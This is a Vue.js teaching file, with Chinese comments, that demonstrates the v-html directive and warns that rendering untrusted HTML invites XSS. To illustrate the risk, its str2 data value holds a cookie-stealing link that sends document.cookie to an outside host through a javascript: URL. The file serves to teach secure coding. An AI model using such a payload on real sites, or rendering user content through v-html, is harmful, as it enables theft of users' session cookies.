<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>
    <script type="text/javascript" src="./js/vue.js"></script>
</head>
<!-- v-html指令：
    1.作用：向指定节点中渲染包含html结构的内容。
    2.与插值语法的区别：
        （1）.V-html会替换掉节点中所有的内容，{{xx}}则不会。
         (2).v-html可以识别html结构 
    3.严重注意：V-html有安全性问题！！！！
        （1）.在网站上动态渲染任意html非常危险的，容易导致xss攻击
         (2).一定要在可信的内容上使用V-html，永不要用在用户提交的内容上-->

<body>
    <!-- 准备好一个容器 -->
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false;  //阻止Vue在启动时生成 生产提示

        //创建Vue实例
        new Vue({
            el: '#root',
            data: {
                name: '尚硅谷',
                str: '<h3>你好啊</h3>',
                str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟们，快来!',
            }
        })
    </script>
</body>

</html>